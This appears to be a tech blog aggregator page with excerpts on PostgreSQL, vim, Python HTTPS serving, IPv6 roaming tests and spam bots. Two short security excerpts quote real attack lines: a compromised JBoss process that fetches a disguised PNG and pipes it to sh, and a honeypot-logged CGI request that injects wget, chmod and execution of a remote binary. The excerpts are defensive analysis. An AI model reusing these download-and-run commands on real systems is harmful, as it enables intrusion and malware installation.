When you create a table in PostgreSQL, it gets assigned default permissions and a default owner. We can alter the default privileges using the very useful ALTER DEFAULT PRIVILEGES command (a PostgreSQL extension to the standard). However, there isn't much we can do about the owner, which will get set to the role that is currently active. That is, it's the main login role, or another role if the user has run the SET ROLE command before creating the table.

A fairly common scenario that is not well handled here is when a number of end-users are expected to cooperate on the tables in a schema all the way, including being able to create and drop them. And this is a scenario that is not very well handled by the built-in role support, due to the ownership handling. Fortunately, this is something where we can once again use an event trigger to make the system do what we need.

I’ve been using vim as my editor of choice ever since I started learning Linux, and something that has been bothering me for a while is how vim handles pasting.

Say I want to paste a large bit of code into a terminal running vim. Before I do this I have to type:

:set paste

When everything is pasted, I turn it off with:

:set paste!

or:

:set nopaste

The command :set paste prevents vim from auto-indenting the code I’ve just pasted.

Luckily, as it most often goes, there is a solution. Why I haven’t bothered to actually find the answer till recently is a whole other matter.

As it turns out, my terminal of choice (which currently is rxvt-unicode) supports something called bracketed paste mode.

In short, when bracketed paste mode is set, pasted text is bracketed with control sequences so that the program can differentiate between pasted text and typed-in text.

Let’s stay that I copied the text:

Hello World!

from another program. When I paste it into my terminal, if it supports bracketed paste mode, it actually sends the text:

\e[200~Hello World!\e[201~

Now the thing is to let vim know how to watch out for these control sequences, and tell it what to do. Paste the following code into your .vimrc:

let &t_SI .= "\<Esc>[?2004h"
let &t_EI .= "\<Esc>[?2004l"

inoremap <special> <expr> <Esc>[200~ XTermPasteBegin()

function! XTermPasteBegin()
set pastetoggle=<Esc>[201~
set paste
return ""
endfunction

And that should reduce your use of :set paste quite a bit!

I’ve often used Python’s SimpleHTTPServer to simply share a directory with someone over a network, it being either local or the Internet. In case you don’t know how it works, it’s simple. To start a HTTP server, at your current location, type:

python -m SimpleHTTPServer

and the result:

jorge@applepie:~ $ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

It listens on all IPv4 interfaces, and binds to the port you specify, which in my case is 8080. The person on the other side will then be able to access the files in the directory from the outside by going to http://server1.example.com:8080, provided that your machine has the hostname server1.example.com, and that you have the port 8080 forwarded to the IP of server1.

But what if you want to provide a secure connection, say over SSL? SimpleHTTPServer has no built in way of doing this.

But behold ssl, Python’s built in SSL-module!

To create a secure connection for your SimpleHTTPServer, first create a self signed certificate by running the following command (if you don’t have a proper SSL-certificate, that is):

openssl req -x509 -newkey rsa:4096 -keyout server1.example.com.key -out server1.example.com.key -days 365 -nodes

Now create a script named shttps.py that contains the following code:

#!/usr/bin/env python

import BaseHTTPServer, SimpleHTTPServer
import ssl

## Variables you can modify

bind_to_address = ''
server_port = 8080
ssl_key_file = "/etc/ssl/certs/localcerts/server1.example.com.key"
ssl_certificate_file = "/etc/ssl/certs/localcerts/server1.example.com.pem"


## Don't modify anything below

httpd = BaseHTTPServer.HTTPServer((bind_to_address, server_port), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, server_side=True,
                                keyfile=ssl_key_file,
                                certfile=ssl_certificate_file)
httpd.serve_forever()

The only thing that needs further explanation is the variable bind_to_address. Fill this in with the text localhost if you want it to only listen to 127.0.0.1. Leave it blank to have it listen to all IPv4 interfaces (0.0.0.0).

Now that the certificate and key is all in place, and the script has been created, make it executable with:

chmod +x shttps.py

Go to the folder you’d like to share the contents of, and run the script:

jorge@applepie:~ $ ls
foo/ shttps.py
jorge@applepie:~ $ cd foo
jorge@applepie:~/foo $ ls
hello.txt world.txt
jorge@applepie:~/foo $ ../shttps.py

The result when you visit https://server1.example.com:8080?Because there is no third party verification it’s listed as insecure, but it should do the trick well enough for sharing files with others.

If you however do want a free SSL certificate for a more permanent setup, I suggest LetsEncrypt! Check out https://letsencrypt.org/getting-started/ for more information.

The Raspberry Pi 3 is the third generation Raspberry Pi, on this i will be installing Mulesoft enterprise runtime standalone with latest Java 8 running inside a Docker container. The Instance will register itself with Anypoint platform ...

A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one: sh -c curl hxxp://img1.imagehousing.com/0/beauty-287196.png -k|dd skip=2446 bs=1|sh   This is a rather elegant way of disguising malicious code. If we first take a look at the png file: […]

Yet another fake LinkedIn invite landed in my inbox today. Just for the fun of it, I decided to dissect the fake invite. The first thing that caught my attention was the email’s subject: Add Me On LinkedIn. Normally, LinkedIn invite requests appear as polite and humble, this one not so much. Next was the […]

My Suricata IDS triggered on an HTTP request to my honeypot this morning: ET WEB_SERVER Suspicious Chmod Usage in URI   Further investigation revealed this incoming request: POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1 Host: [redacted] Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Content-Length: 0 Authorization: Basic YWRtaW46YWRtaW4=   The request seems to take advantage of a […]

In a previous post I discussed a way to find out which transaction dropped a table by examining the transaction log, in order to set a restore point to right before the table was dropped.

But what if we have the luxury of planning ahead (right? Well, let's call it the second time it happens?). Shouldn't we be able to log which transaction dropped a table, and use that? Of course we should.

The first thing one tries is then of course something like this in postgresql.conf:

log_statement='ddl'
log_line_prefix = '%t [%u@%d] <%x> '

to include the transaction id of the table. Unfortunately:

2017-02-12 12:16:39 CET [mha@postgres] <0> LOG:  statement: drop table testtable;

The 0 as a transaction id indicates that this command was run in a virtual transaction, and did not have a real transaction id. The reason for this is that the statement logging happens before the statement has actually acquired a transaction. For example, if I instead drop two tables, and do so in a transaction:

postgres=# BEGIN;
BEGIN
postgres=# DROP TABLE test1;
DROP TABLE
postgres=# DROP TABLE test2;
DROP TABLE
postgres=# COMMIT;
COMMIT

I get this interesting output:

2017-02-12 12:17:43 CET [mha@postgres] <0> LOG:  statement: DROP TABLE test1;
2017-02-12 12:17:45 CET [mha@postgres] <156960> LOG:  statement: DROP TABLE test2;

Which shows two different transaction ids (one real and one not) for statements in the same transaction. That's obviously not true - they were both dropped by transaction 156960. The transaction id just wasn't available at the time of logging.

So what can we do about that? Event triggers to the rescue!

In this example we will use Jasypt in mule to encrypt clear text passwords in property files. But you could use Jasypt to encrypt all sorts of things e.g. ...

Recently I’ve seen an increase in mail spambots identifying with the EHLO string EHLO ylmf-pc. These belong to (or at least stem from) the Cutwail botnet, originally observed as early as 2007. The following table shows the number of attempts over the last two weeks. The numbers are not overwhelming for a private mail server, […]

2016 turned out to be a turbulent but positive year for IPv6 here in Norway. As the graph below shows, in the beginning of 2016 about 7.5% of Norwegian end users were IPv6 capable. One year later, this number had increased to almost 10%.

If there’s a short and sweet installation document for enabling SNMP support in Amavisd-new, I seem to have failed searching for it today. Instead I made my own, partially for documenting my own setup and partially for the benefit of others. This brief installation document assumes you’re running a Ubuntu or Debian system. It will […]

Earlier this week I visited the United Kingdom to attend the excellent UKNOF36 meeting.

As I usually do when when going abroad, I spent some time testing to what extent IPv6 works while roaming in the various PLMNs I have access to.

The previous posts in this series are:

• IPv6 roaming in Sweden
• IPv6 roaming in Belgium and Romania

Those posts contain some more technical background about the testing methodology, so I suggest you skim through them in order to better interpret the test results in this post.

Test results

O2 - MCCMNC 23410

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	4G	N/A	N/A
Telenor Norway	2G	Fails (cause 33)	IPv4-only connection
Telenor Norway	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	4G	N/A	N/A

I was not able to get 4G coverage with any of my SIM cards in this network, which probably means that neither Tele 2 nor Telenor have a 4G roaming agreement with O2.

While in 2G and 3G coverage Tele 2 and Telenor’s HLR/HSS blacklisting trick comes into play. (See the IPv6 roaming in Belgium and Romania post for an explanation of what that trick is.)

Vodafone - MCCMNC 23415

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	4G	Fails	IPv4-only connection
Telenor Norway	2G	Fails (cause 33)	IPv4-only connection
Telenor Norway	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	4G	Works perfectly	IPv4-only connection

In 2G and 3G coverage this looks like the standard HLR/HSS blacklisting trick. However the 4G behaviour is very unusual (as the blacklisting trick is specific to 2G and 3G).

IPv6-only PDP contexts work fine with my Telenor SIM card, but not with my Tele 2 one. My phone logs this latter failure as being due to an unknown/invalid cause code so I have no idea about what’s going on here.

Dual stack IPV4V6 PDP contexts do not work in 4G coverage with any of my SIM cards, and any attempt to use them results in IPv4-only connectivity. As this is not caused by Telenor and Tele 2’s blacklisting trick, the logical conclusion is that Vodafone is deliberately blocking dual stack PDP contexts from being used in their end.

I also saw very similar IPv6-hostile behaviour in Vodafone Romania’s network. I wonder if that is a coincidence or not.

3 - MCCMNC 23420

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	N/A	N/A
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	4G	N/A	N/A
Telenor Norway	2G	N/A	N/A
Telenor Norway	3G	N/A	N/A
Telenor Norway	4G	N/A	N/A

It appears Telenor doesn’t have a roaming agreement with this operator (my phone reported no access to network). With my Tele 2 SIM card I could not get neither 2G or 4G coverage, only 3G. In 3G coverage Tele 2’s HLR/HSS blacklisting trick comes into play.

EE - MCCMNC 23430

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	4G	Works perfectly	Works perfectly
Telenor Norway	2G	Fails (cause 27)	IPv4-only connection
Telenor Norway	3G	Fails (cause 27)	IPv4-only connection
Telenor Norway	4G	Works perfectly	Works perfectly

This looks pretty much as expected for an operator where the HLR/HSS blacklisting trick is being used to block IPv6 in 2G and 3G coverage. However, it’s the first time I’ve seen this result in 3GPP cause code 27 (missing or unknown APN). Usually I see code 33 (requested service option not subscribed). Not sure if this difference is significant somehow, but the outcome is the same in any case.

When in 4G coverage, both IPv6-only and dual stack PDP contexts worked just fine.

That said, I did have trouble getting dual stack to work in EE 4G coverage when I used another one of phones. Unfortunately I did not have time to investigate that further during my brief visit. Next time, perhaps.

Just the other day I sat at a customer, and they wanted a web application to present data, from there Mule integration application. The data should be presented to ...

I’ve been running Amavisd-new with scanner components like ClamAV and SpamAssassin on the mail relay for my personal mail for several years. Lately I’ve been thinking that since Amavis supports multiple content scanners I should add another antivirus product. Unfortunately there’s a limited number of free (for home/individual use) antivirus products running on Linux, and […]

I’ve been receiving a few questions on how to produce the AfterGlow diagrams from Cowrie logs, described in an earlier blog post. Instead of repeating myself through email requests, an explanation here will be better. First of all, you will need to decide what you want to visualize. Showing the different attackers targeting a Cowrie […]

For a while now, I've been annoyed with how difficult it is to set up good backups in PostgreSQL. The difficulty of doing this "right" has pushed people to use things like pg_dump for backups, which is not really a great option once your database reaches any non-toy size. And when visiting customers over the years I've seen a large number of home-written scripts to do PITR backups, most of them broken, and most of that breakage because the APIs provided were too difficult to use.

Over some time, I've worked on a number of ways to improve this situation, alone or with others. The bigger steps are:

• 9.1 introduced pg_basebackup, making it easier to take base backups using the replication protocol
• 9.2 introduced transaction log streaming to pg_basebackup
• 9.6 introduced a new version of the pg_start_backup/pg_stop_backup APIs that are needed to do more advanced base backups, in particular using third party backup tools.

For 10.0, there are a couple of new things that have been done in the past couple of weeks:

While debugging a problem with OCSP, I had to sit down and understand what it really does and why. So What is OCSP, and why do we use it?

Read the rest of this entry

While debugging a problem with OCSP, I had to sit down and understand what it really does and why. So What is OCSP, and why do we use it?

...

Seems a new bot, possibly a strain of Mirai, is in the wild, targeting TCP port 37777. The last 24 hours I’ve seen close to 200 different IP addresses trying to connect to this port. DShield is also registering an increase. At the moment I can only guess what kind of product they’re probing for, […]

I briefly visited Belgium and Romania last month. Using SIM cards from Tele 2 Sweden and Telenor Norway, both of which support the dual-stack IPV4V6 and IPv6-only IPV6 PDP context types, I spent some time testing whether or not I was able to get working IPv6 Internet connectivity while roaming in the various available PLMNs.

In many cases, IPv6-only connection attempts failed completely. Furthermore, dual stack connection attempts more often than not resulted in an IPv4-only Internet connection. Full test results below.

These frequent failures are however not as dramatic as they might sound. Both Tele 2 and Telenor are using a blacklisting trick that blocks their subscribers from using IPv6 when roaming in certain operators (whose IPv6 capabilities hasn’t yet been verified). See RFC 7445 section 3 and section 6 for technical details on how this trick works. When roaming in an operator blacklisted in this manner, IPv6-only connection attempts made in 2G/3G coverage will fail with 3GPP cause code 33 (requested service option not subscribed), while dual stack connection attempts will result in IPv4-only Internet connectivity.

The good news is that when my devices were set up to request dual-stacked IPV4V6 PDP contexts, they would in every single case get at least the same level of Internet connectivity as they would when requesting an IPv4-only IP PDP context; having the devices request dual-stacked connectivity had no downside whatsoever.

I’ve also performed the same kind of IPv6 roaming testing in Sweden a while back.

Test results

Belgian PLMNs

Proximus - MCCMNC 20601

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	2G	Works perfectly	Works perfectly
Telenor Norway	3G	Works perfectly	Works perfectly

I was not able to test in 4G/LTE coverage, as it appears that neither Tele 2 nor Telenor have a 4G/LTE roaming agreement with Proximus.

Tele 2 is applying the blacklisting trick described above. Telenor, on the other hand, does not and IPv6 works perfectly.

Orange - MCCMNC 20610

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	2G	Fails (cause 33)	IPv4-only connection
Telenor Norway	3G	Fails (cause 33)	IPv4-only connection

In the Orange PLMN I got identical behaviour with both my SIM cards. It appears both Tele 2 and Telenor are blacklisting, and there is no 4G/LTE roaming agreement.

As with Tele 2/Proximus, dual stack «works» in the sense that I get IPv4-only Internet connectivity.

BASE - MCCMNC 20620

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	4G	Works perfectly	Works perfectly
Telenor Norway	2G	Fails (cause 33)	IPv4-only connection
Telenor Norway	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	4G	Works perfectly	Works perfectly

BASE demonstrates how the blacklisting trick only works on 2G/3G and not on 4G. Both Tele 2 and Telenor are blacklisting here, but nevertheless dual stack and IPv6-only works perfectly if the data PDP context is established while in 4G coverage.

Romanian PLMNs

Vodafone - MCCMNC 22601

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 32)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 32)	IPv4-only connection
Tele 2 Sweden	4G	Fails (cause 32)	IPv4-only connection
Telenor Norway	2G	Fails (cause 32)	IPv4-only connection
Telenor Norway	3G	Fails (cause 32)	IPv4-only connection
Telenor Norway	4G	Fails (cause 32)	IPv4-only connection

Vodafone is an interesting case. The fact that IPv6 and dual stack fails on 2G and 3G with 3GPP cause code 32 (service option not supported) instead of 33, and the fact that it also fails in the same way on 4G/LTE, indicate that this is not caused by the blacklisting trick. Instead, it would appear that Vodafone is deliberately blocking visitors from using of IPv6 on their network.

For operators such as Tele 2 and Telenor, this is not such a big deal, as dual-stack still «works» by falling back on IPv4-only connectivity. Operators using 464XLAT, on the other hand, will likely find Vodafone’s behaviour hugely problematic.

Telekom - MCCMNCs 22603 (2G) and 22606 (3G)

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	2G	Fails (cause 33)	IPv4-only connection
Telenor Norway	3G	Fails (cause 33)	IPv4-only connection

Identical results as with Orange in Belgium. I was unable to get 4G/LTE coverage, and both Tele 2 and Telenor applies blacklisting on 2G/3G.

Digi.Mobil - MCCMNC 22605

Neither Tele 2 nor Telenor seems to have any form of roaming agreement with this operator, at least I was completely unable to register in their network, and thus unable to perform any IPv6 testing.

Orange - MCCMNC 22610

Home PLMN	Tech	IPV6 PDP context	IPV4V6 PDP context
Tele 2 Sweden	2G	Fails (cause 33)	IPv4-only connection
Tele 2 Sweden	3G	Fails (cause 33)	IPv4-only connection
Telenor Norway	2G	Works perfectly	Works perfectly
Telenor Norway	3G	Works perfectly	Works perfectly
Telenor Norway	4G	Works perfectly	Works perfectly

Tele 2 does not appear to have a 4G/LTE roaming agreement with Orange, and the blacklisting trick is being used on 2G/3G.

With Telenor, on the other hand, there’s no blacklisting and both IPv6-only and dual stack works perfectly on all technologies.

As we say welcome to a new year, we have a couple of updates to the finances and payment handling in PostgreSQL Europe, that will affect our members and attendees of our events.

First of all, PostgreSQL Europe has unfortunately been forced to VAT register. This means that most of our invoices (details below) will now include VAT.

Second, we have enabled a new payment provider for those of you that can't or prefer not to use credit cards but that still allows for fast payments.

A few weeks back, I noticed the following tweet from Michael Paquier:

And my first thought was "that can't be right" (spoiler: Turns out it wasn't. But almost.)

The second thought was "hmm, I wonder how that has actually changed over time". And of course, with today being a day off and generally "slow pace" (ahem), what better way than to analyze the data that we have. The PostgreSQL mailinglist archives are all stored in a PostgreSQL database of course, so running the analytics is a quick job.

One common complaint about systemd is that it does «too much», where the threshold for the appropriate amount of action is left unspecified. Some of the stuff it can do is hold your hand and offer some comfort functions.

...

With the end of the advent, this years sysadvent calendar event is now over.

If you missed it, the articles are still ...

We hope you have enjoyed the articles in our second SysAdvent season!

This is the last post in this years sysadvent. If you want to read more, we have other blog entries at our main site, our techblog, our employees have personal blogs that are aggregated at

I read Tolkien’s “canon”, that is The Hobbit, The Lord of the Rings, and The Silmarillion, every year about christmas. So also this year.

In chapter two of The Lord of the Rings, we find a short note on one of Bilbo Baggins’ relations, the young Angelica. Bilbo leaves her a round convex mirror as a farewell gift, and tags it with “For Angelica’s use”, and the author adds that “She was a young Baggins, and too obviously considered her face shapely”.

Now, a couple of questions arise at once: Why in Middle-earth would Bilbo own a non-flat mirror like this? Is it clown-mirror, left-over from some carneval party, or just some other old strange mathom? One might also worry about Angelica’s reaction. As a youngster, isn’t this a bit harsh from old Bilbo to tease her for her caring about her looks?

A convex looking-glass is of course a woman’s make-up mirror, as the curved surface makes it magnifying. And Bilbo being a bachelor, obviously must have inherited this from his mother, Belladonna Took. As Belladonna was of a wealthy family, and as Bilbo had taken care of her mirror for all the years after her death, it must have been quite a heirloom, and just not another mathom. I presume a frame of victorian style silver plated engravings at least.

So giving Angelica his mother’s mirror, with a tongue-in-cheek joke, would be a kind gift from old uncle Bilbo, and it was probably warmly received by her.

For the wallscreens within the operations department, we currently use Raspberry Pies and provision those using Ansible. We found that the USB sockets on a typical LCD TV do not provide enough power for a Raspberry Pi model 3, so we went for the cheaper – although a ...

Duplicity is a piece of software that can perform encrypted backups to remote storage over the network. It uses the rsync algorithm to implement incremental backups, thus minimising the amount of data that needs to be transferred over the network and stored remotely. The GNU Privacy Guard ...